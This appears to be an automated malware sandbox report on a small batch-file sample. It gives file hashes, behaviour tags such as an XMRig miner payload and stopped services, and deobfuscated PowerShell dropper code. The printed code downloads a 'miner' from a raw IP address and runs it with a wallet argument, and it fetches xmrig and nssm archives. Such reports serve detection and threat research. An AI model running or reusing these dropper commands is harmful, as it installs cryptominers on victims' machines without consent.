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General

  • Target

    16105167641522.bat

  • Size

    521B

  • Sample

    240701-k8nwfawgqr

  • MD5

    e7bb44f7a40faf04de6eef414aeaac68

  • SHA1

    feab06aa47a6b34a30085726103a58ea2d6ccf77

  • SHA256

    1581804de8f5a5e4d6e0c0a6df326992b874d4d55c4c4d5e795c80f6f1c4c0ad

  • SHA512

    3553e5a1fa4349a75aa0a4a61c833be8ae9d6fa10b3c4da49771e845938585fbd376277f976ff24ad91439be1f32d11ce6270761d7851a959903a6be575a0009

Malware Config

Extracted

Language
ps1
Deobfuscated
1
$wc = new-object system.net.webclient
2
$tempfile = [system.io.path]::gettempfilename()
3
$tempfile = ".bat"
4
$wc.downloadfile("http://94.177.244.107:3000/miner", ".bat")
5
.bat 42 crnhwckm6bmza8jmwyvwb2tjacxqgmj1qhhj9ae55qrx488q6cvau42ekkeied2n9te1ujnviusnvqv1nj17r79fdhjvl
6
remove-item -force $tempfile
7
URLs
exe.dropper

http://94.177.244.107:3000/miner

Extracted

Language
ps1
Deobfuscated
1
$wc = new-object system.net.webclient
2
$wc.downloadfile("https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.zip", "C:\\Users\\Admin\\xmrig.zip")
3
URLs
exe.dropper

https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.zip

Extracted

Language
ps1
Deobfuscated
1
$wc = new-object system.net.webclient
2
$wc.downloadfile("https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/nssm.zip", "C:\\Users\\Admin\\nssm.zip")
3
URLs
exe.dropper

https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/nssm.zip

Targets

    • Target

      16105167641522.bat

    • Size

      521B

    • MD5

      e7bb44f7a40faf04de6eef414aeaac68

    • SHA1

      feab06aa47a6b34a30085726103a58ea2d6ccf77

    • SHA256

      1581804de8f5a5e4d6e0c0a6df326992b874d4d55c4c4d5e795c80f6f1c4c0ad

    • SHA512

      3553e5a1fa4349a75aa0a4a61c833be8ae9d6fa10b3c4da49771e845938585fbd376277f976ff24ad91439be1f32d11ce6270761d7851a959903a6be575a0009

    • XMRig Miner payload

    • xmrig

      XMRig is a high performance, open source, cross platform CPU/GPU miner.

    • Blocklisted process makes network request

    • Stops running service(s)

    • Executes dropped EXE

    • Legitimate hosting services abused for malware hosting/C2

MITRE ATT&CK Enterprise v15

Tasks

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